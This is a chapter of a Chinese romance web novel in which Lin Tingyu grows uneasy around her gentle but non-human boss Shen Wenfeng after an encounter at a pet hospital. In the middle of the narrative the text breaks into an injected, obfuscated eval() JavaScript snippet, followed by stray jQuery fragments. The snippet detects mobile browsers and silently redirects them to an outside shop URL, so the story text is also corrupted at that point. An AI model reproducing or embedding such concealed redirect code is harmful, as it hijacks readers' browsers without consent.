“你好了?”
沈闻风点点头,朝她走来。
林听雨拿起背包起身,抬脚时脚边传来一阵阻力,她低头望去,原来是刚刚那只金毛。
金毛咬着她的裙摆往后拽,哼哼唧唧地不让她离开,林听雨有些失笑。不过金毛只是叼着她的裙摆并没有恶意,于是她蹲下身和它商量:“我要走啦,你先松开好不好。”
“闹闹,松口。”闹闹的主人也蹲下身掰金毛的嘴,可是它咬的死死的,就是不松口,女生拍了下它的头,有些尴尬,“不好意思啊,它平常不这样……今天也不知道怎么回事,闹闹你赶紧松口。”
女生话里带着威胁,闹闹不松口反而趴在地上摇尾巴,气的女生又拍了下它的头。
一时僵持不下。
“松口。”
一道低沉的声音从头顶传来,打破僵局。
林听雨的面前覆上阴影,侵略性的气息顿时将她笼罩,她的手顿了一下,抬起头,一片白皙的皮肤突然闯入视线,搞不清楚情况的林听雨瞬间瞪大眼睛。
她的鼻尖,距离沈闻风的脖颈只有几厘米。
怔愣的间隙,一股薄荷冷香像一只小蛇灵活钻入鼻尖,林听雨敛下眼底的慌乱,身子后仰想要拉开距离,她蹲在地上平衡瞬间被打破,电光火石之间,一双手稳稳扶住她,将她拉起。
随着惯性她撞进沈闻风的怀里,沈闻风轻轻闷哼一声。
冷香萦绕的鼻息周围,将她撞了个满怀,而他身上的热气隔着衬衫源源不断传到她的身上,林听雨的大脑完全宕机。
不得不说男女的身体构造真的差异很大,他的身体怎么会这么硬,又这么热,连带着她也燥热起来。
“没事吧?”
他的声音将她的思绪短暂拉回,林听雨抬了下头,由于身高差距她的视线里只剩下他流畅的下颌线和殷红的嘴唇,林听雨的耳根有些热,挣开他的手从他的怀里退出来:“……没事。”
金毛不知道什么时候松开她的裙角,此时趴在地上用两个爪子盖住自己的脸,好像在躲藏着什么,哼哼唧唧地往它主人脚下躲。林听雨放下头发遮住通红的耳根,这才注意到闹闹的反应,而它的主人站在一旁表情凝重地盯着她。
准确的说,应该是是沈闻风。
察觉到她的目光,女生回过神,冲她扬了个笑容:“不好意思啊,闹闹可能太喜欢你了。”
林听雨摇摇头:“没关系,它很可爱。”
女生冲她笑笑,而后看向沈闻风,目光带上审视:“这位先生,似乎……很会训狗?”
说着她意义不明地哼笑一声:“我的狗连我的话都不听,但没想到居然会听你的话,可以教教我是怎么做到的吗?”
空气突然静下来,林听雨察觉到她话里的尖锐。
方才沈闻风为了帮她解围训斥了闹闹,身为闹闹的主人感到不爽确实可以理解,不过事情因她而起,她有必要解释。
然而她还没说话,沈闻风开口了,他的眼底依旧平静无波,平静到近乎冷漠:“可以,你想试试吗?”
气氛顿时剑拔弩张起来。
林听雨瞪大眼睛。
叶绍钦拿着报告走来时看到的就是这么一副场景,他眉心一跳,将报告丢给沈闻风后挡在他身前:“表姐你怎么来了?”
“希希临时有事,把六六交给我了,正好我又想给闹闹体检一下,所以就带着它俩一起来了。”
叶绍钦点点头,示意女生跟上他,女生却一转身走向林听雨,调出一个界面扬扬手机:“加个联系方式吧,闹闹很喜欢你,以后周末或许可以一起出来玩。”
话锋转变的太快,林听雨脑子还没完全反应过来,手已经先一步拿出手机:“啊?哦,好。”
在女生离开前她解释道:“不好意思,我朋友可能是以为我害怕所以训斥了闹闹,希望你不要生气。”
“……不会。”女生的表情有些复杂,像是欲言又止,在离开前她又看沈闻风一眼,眼神依旧带着审视。
如果只是因为沈闻风训斥了闹闹,并不应该有这么大的敌意,林听雨在脑海里思索两人杠上的原因,可还是未解。
这样突如其来的针对是没由来的,她一个旁观者都有所察觉,可沈闻风像没看见一样,对此没有任何反应,反而冲她温声道:“你等我一会,我去开车。”
“……好。”
左右女生已经离开,林听雨不再纠结,他离开后,她走到前台前问小张:“刚刚那个女生是叶院长的表姐啊?”
“不是,她是我们叶院长妻子的表姐,今天来带猫和狗体检。”
想起刚才女生和叶绍钦对话时口中的“希希”,林听雨表示了然,和小张告别后在医院门口等待沈闻风。
他们到达医院后又下了一会雨,此刻雨刚停不久,空气中还带着雨后的清新气息,风吹过来凉气打在肩膀上激起战栗。
或许是错觉,她的鼻息周围依旧有一股若有若无的冷香,风一吹香味反而更明显了,林听雨低下头在袖子上嗅嗅,袖口上的味道更浓,原来不是错觉。
木质香混合着薄荷味,再次唤起方才她撞进沈闻风怀里时的记忆,林听雨的耳根蓦地一热,抬手在空气中乱挥,把这股香味挥散。
沈闻风没让她等太久,上了车沈闻风问道:“刚刚在挥什么?有虫子吗?”
他温声询问,待她系好安全带慢慢将车开进车道。
林听雨飞快地看了他一眼,眼前男人侧颜优越,哪怕和明星站在一起,颜值也完全不会输。
察觉到她的视线,沈闻风扭头询问:“怎么了?”
浅灰色的眸子再次映入眼底,林听雨马上移开目光,因为之前恍惚间的想法,她有些不知道怎么面对他,随口答道:“没什么。”
“好。”
他似乎并没有察觉到她的敷衍,再次切换成那副温和的模样。
在她面前,他一直是这副无害又温柔的姿态。
他坐在身旁,这股冷香时不时飘来,香味很淡,但让人想忽略都难,和他人一样,温和、却具有侵略性,无声无息间,便可轻而易举占据她的全部呼吸。
就像他无声中拉近和她的关系那样。
这股熟悉的亲切感让她有些害怕。
那个“梦境”自她十八岁生了场大病之后便一直困扰着她,梦境太过真实,就好像她真的经历过一样。
第一次梦见时她很新奇,后来几次接二连三梦见同样的场景,她开始害怕。
她为什么会一直反复做着同一个梦?
可妈妈告诉她梦境是她潜意识的映射,可能是因为她看了类似的电影,所以才对此印象深刻。
她看过类似的电影吗?
她忘了。
她好像忘记了很多事。
后来,慢慢的,她不再在意,梦见的频率也越来越少。直到最近,她徒然又梦到同样的场景,甚至于今天,她居然想起了更多细节。
原来这不是梦。
雨水打在车身发出的唰唰声音,又下雨了。林听雨沉默地盯着雨幕,看着逐渐熟悉的街道,她有些惊讶地从回忆中抽离:“不回公司了?”
“嗯,差不多快到下班时间了,就直接回来了。不过,我一会要去我哥那里一趟,送你到小区门口可以吗?”
虽然他是领导,但他却不喜欢发号施令,每一次都会先问过她的意见。好不容易建立起的疏离感,因为他的温柔再次出现裂痕,林听雨忍不住攥紧包带:“送到门口够了,沈总,麻烦你了。”
周末好不容易拉近的距离再次被打回原形。
面对她的疏离,沈闻风再也不能装作不在意,他的心脏不受控制地酸涩起来,胸口闷闷的,像浸在水里。
停下车后,他强撑着勾起一抹笑:“没关系。”
林听雨没再接话,径直翻开包想要掏出雨伞下车,可伞并不在包里,看着只剩下文件的包她呆楞一瞬:“我的伞呢……”
记忆拉回一个小时之前,当时她坐在大厅和福福玩,小张要出去送一直寄养的小猫,便跟她借了伞。小张用完把伞放到雨伞框里,但她和小狗玩的太投入,完全忘记这回事。
“伞不见了?”
“嗯,落在医院了。”林听雨有些懊恼。
“先用我的吧?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026508|194437||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说完,他递上一把整理整齐的雨伞。
是第一次见面时他借的伞。
此时他正握着伞头,伞柄朝她。林听雨再次对上他的眼睛,不知道是不是错觉,他的脸色有些白,她沉默几秒:“你不用吗?”
“没事你用,我回去可以直接走地下车库,不用撑伞。”
听他这么说,林听雨不再推脱,将伞接了过来:“……谢谢,那你当心点别淋到雨,不然感冒可能会加重……我先下去了。”
说完她利落推开车门下车。
“再见。”
关上车门的前一秒,她似乎听见一声微哑的声音从缝隙里钻出来,可惜她手快了一秒,连带着他还没说完的再见一齐关在车内。
林听雨犹豫一瞬,还是挥了挥手。他的车贴了防窥膜,也不知道他能不能看见,自顾自跟他道别后撑着伞朝小区里走去。
四周是淅淅沥沥的雨,雨滴打在伞面发出沉闷的声响,望着无边无际的雨幕,林听雨的眼前忽然冒出那双浅色的眸子。
仔细回想,他的眼尾好像还有点红。
-
那道清瘦的身影逐渐消失在雨幕里。
沈闻风收回目光,紧绷的后背松懈下来,整个人卸了力,额头抵着手背,趴在方向盘上轻轻喘/气。
黑色西装束缚住他的身躯,沈闻风解开纽扣把西装随意丢在后座。
放在中控台的手机响了一下,他抬起头时,俊秀的脸上显现出一种病态的白。叶绍钦给他发了一条消息。
【希希的表姐是捉妖师,可以看到你的本体,刚才在病房的时候你的气息没收敛,她以为你要伤害人,不过我已经跟她解释过了,你可以放心。】
【谢了。】打完字他把手机重新丢回去,
发动车子驶向城东郊外的私人医院。
整个过程沈闻风浑身围绕着一种冷漠的沉寂,离开了林听雨他不再掩饰,任由本性暴露。
夜色将至,银灰色的车在路上疾驰,又将车速控制地正好敏锐穿过车流,雨水将车身洗刷地锃亮,像野外飞奔的狼,张扬又危险。
不过二十分钟,沈闻风抵达万川医院。
今天人不多,停车场还剩很多车位,沈闻风将车停好,神情淡淡地推开车门。
郊区的雨比城区大些,他还没下车雨丝随风倾斜到身上,胳膊传来冰凉的触感,沈闻风目光顿了顿,又飞快将车门关上。
他抽了张纸巾将胳膊擦干后,扭身拿起后车座的冲锋衣,仔细穿好拉上拉链戴好帽子,这才再次打开车门。
虽然冲锋衣挡去了大部分雨,但他的额前和脸上依旧被雨水打湿。
意识这一点后,沈闻风周身的气压又低了几度。
医院大厅很空旷,零零散散只有几个人。
他将冲锋衣脱下重新拎在手里,甩了甩微湿的头发走向前台:“有纸巾吗?”
前台递上纸巾。
沈闻风抽了几张,边擦边问:“沈煜年现在在办公室吗?”
前台:“沈医生现在正在查房。”
闻言沈闻风点点头,道过谢后乘电梯来到五楼。
走廊一侧是落地玻璃,另一侧是办公室,他轻车熟路走向尽头的办公室。
办公室灯亮着,但没有人。
偌大办公室被帘子分成两个区域。左侧靠窗有一张办公桌,桌面整洁,放了个电脑和打印机,与环境格格不入的是电脑旁放着的一个小鸟木雕。右侧则只有一张诊疗床。
沈闻风径直走到办公桌前,先将文件和外套放在桌边,他则站在一旁的书柜前。
不知过了多久,走廊响起一阵细微的脚步声,伴随着不着调的哼唱,他辨认了许久都没能听出是那一首歌。沈闻风坐回椅子里等待那人靠近。
声音越来越近,直至办公室的门打开,哼歌声戛然而止。
门口站着那人体态颀长,带着副金丝眼镜,白大褂一尘不染,仔细看来长相竟和沈闻风有四五分相似。
只与沈闻风带有攻击性的长相不同,他的五官勾勒地十分柔和,配上这一身打扮十足的斯文败类。
来人正是沈煜年。